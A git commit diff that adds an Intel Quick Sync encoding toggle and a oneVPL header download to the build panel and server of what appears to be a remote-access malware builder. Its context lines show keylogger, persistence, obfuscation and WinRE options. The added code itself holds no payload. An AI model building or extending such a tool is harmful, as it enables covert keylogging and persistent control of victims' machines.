nvidia quick sync

This commit is contained in:
KingKDot
2026-07-11 16:52:24 -05:00
parent 424ed348e3
commit fb6c856ad1
15 changed files with 521 additions and 0 deletions
+5
View File
@@ -190,6 +190,7 @@ function setBuildField(field, value) {
disableCgo: 'input[name="disable-cgo"]',
enableNvenc: 'input[name="enable-nvenc"]',
enableAmf: 'input[name="enable-amf"]',
enableQsv: 'input[name="enable-qsv"]',
stripDebug: 'input[name="strip-debug"]',
noPrinting: 'input[name="no-printing"]',
enableWebrtc: 'input[name="enable-webrtc"]',
@@ -459,6 +460,7 @@ function collectFormSettings() {
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true,
enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true,
enableQsv: document.querySelector('input[name="enable-qsv"]')?.checked ?? true,
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
@@ -528,6 +530,7 @@ function applyFormSettings(settings) {
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc);
if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf);
if (settings.enableQsv !== undefined) setCb('input[name="enable-qsv"]', settings.enableQsv);
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
@@ -1700,6 +1703,7 @@ form?.addEventListener("submit", async (e) => {
const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true;
const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true;
const enableQsv = form.querySelector('input[name="enable-qsv"]')?.checked ?? true;
const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
const enablePersistence = form.querySelector(
'input[name="enable-persistence"]',
@@ -1749,6 +1753,7 @@ form?.addEventListener("submit", async (e) => {
disableCgo,
enableNvenc,
enableAmf,
enableQsv,
obfuscate,
enablePersistence,
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
+8
View File
@@ -695,6 +695,14 @@
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors">
<input type="checkbox" name="enable-qsv" class="w-4 h-4" checked />
<div class="flex flex-col">
<span><i class="fa-solid fa-microchip text-blue-400 mr-2"></i>Include Intel Quick Sync</span>
<span class="text-xs text-slate-500">Native Intel oneVPL H.264 acceleration for Windows CGO builds</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
<input type="checkbox" name="enable-winre" class="w-4 h-4" />
<div class="flex flex-col">
+1
View File
@@ -19,6 +19,7 @@ export type BuildConfig = {
disableCgo?: boolean;
enableNvenc?: boolean;
enableAmf?: boolean;
enableQsv?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethods?: string[];
@@ -86,6 +86,7 @@ type BuildProcessConfig = {
disableCgo?: boolean;
enableNvenc?: boolean;
enableAmf?: boolean;
enableQsv?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethods?: string[];
@@ -404,9 +405,16 @@ function amfHeaderPath(clientDir: string): string {
return path.join(clientDir, "third_party", "amf", "include", "core", "Factory.h");
}
function oneVPLHeaderPath(clientDir: string): string {
return path.join(clientDir, "third_party", "onevpl", "include", "vpl", "mfxvideo.h");
}
const AMF_REPOSITORY = "https://github.com/GPUOpen-LibrariesAndSDKs/AMF.git";
const AMF_REF = "v1.5.2";
let amfHeaderProvision: Promise<void> | null = null;
const ONEVPL_REPOSITORY = "https://github.com/oneapi-src/oneVPL.git";
const ONEVPL_REF = "v2.15.0";
let oneVPLHeaderProvision: Promise<void> | null = null;
function copyDirectory(source: string, destination: string): void {
fs.mkdirSync(destination, { recursive: true });
@@ -461,6 +469,7 @@ async function ensureNVCodecHeaderForWindowsCgo(
sendToStream: (data: any) => void,
enableNvenc: boolean,
enableAmf: boolean,
enableQsv: boolean,
): Promise<void> {
if (enableNvenc) {
const headerPath = nvcodecHeaderPath(clientDir);
@@ -477,6 +486,29 @@ async function ensureNVCodecHeaderForWindowsCgo(
const amfPath = amfHeaderPath(clientDir);
sendToStream({ type: "output", text: `Native AMD AMF headers: ${amfPath}\n`, level: "info" });
}
if (enableQsv) {
const headerPath = oneVPLHeaderPath(clientDir);
if (!fs.existsSync(headerPath) && !oneVPLHeaderProvision) {
oneVPLHeaderProvision = (async () => {
const destination = path.join(clientDir, "third_party", "onevpl");
const temporary = path.join(clientDir, "third_party", `.onevpl-${process.pid}-${Date.now()}`);
sendToStream({ type: "output", text: `Intel oneVPL headers are not cached; fetching ${ONEVPL_REF}...\n`, level: "info" });
try {
const clone = await $`git clone --depth 1 --filter=blob:none --sparse --branch ${ONEVPL_REF} ${ONEVPL_REPOSITORY} ${temporary}`.quiet().nothrow();
if (clone.exitCode !== 0) throw new Error(clone.stderr.toString().trim() || "git clone failed");
const sparse = await $`git -C ${temporary} sparse-checkout set --no-cone api/vpl/ LICENSE`.quiet().nothrow();
if (sparse.exitCode !== 0) throw new Error(sparse.stderr.toString().trim() || "git sparse-checkout failed");
fs.rmSync(destination, { recursive: true, force: true });
copyDirectory(path.join(temporary, "api", "vpl"), path.join(destination, "include", "vpl"));
fs.copyFileSync(path.join(temporary, "LICENSE"), path.join(destination, "LICENSE"));
} finally { fs.rmSync(temporary, { recursive: true, force: true }); }
if (!fs.existsSync(headerPath)) throw new Error(`oneVPL header was not created at ${headerPath}`);
})().catch((error) => { oneVPLHeaderProvision = null; throw error; });
}
if (oneVPLHeaderProvision) await oneVPLHeaderProvision;
sendToStream({ type: "output", text: `Intel oneVPL headers: ${headerPath}\n`, level: "info" });
}
}
function writeSgnTextArtifact(
@@ -1124,6 +1156,7 @@ func runBoundFiles() {
sendToStream,
config.enableNvenc !== false,
config.enableAmf !== false,
config.enableQsv !== false,
);
}
@@ -1300,6 +1333,7 @@ func runBoundFiles() {
let baseTags: string[] = [];
if (config.enableNvenc === false) baseTags.push("no_nvenc");
if (config.enableAmf === false) baseTags.push("no_amf");
if (config.enableQsv === false) baseTags.push("no_qsv");
if (config.noPrinting) baseTags.push("noprint");
if (config.disableKeylogger) baseTags.push("nokeylogger");
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
@@ -171,6 +171,7 @@ export async function handleBuildRoutes(
disableCgo,
enableNvenc,
enableAmf,
enableQsv,
obfuscate,
enablePersistence,
persistenceMethods,
@@ -482,6 +483,7 @@ export async function handleBuildRoutes(
disableCgo,
enableNvenc: enableNvenc !== false,
enableAmf: enableAmf !== false,
enableQsv: enableQsv !== false,
obfuscate: !!obfuscate,
enablePersistence,
persistenceMethods: safePersistenceMethods,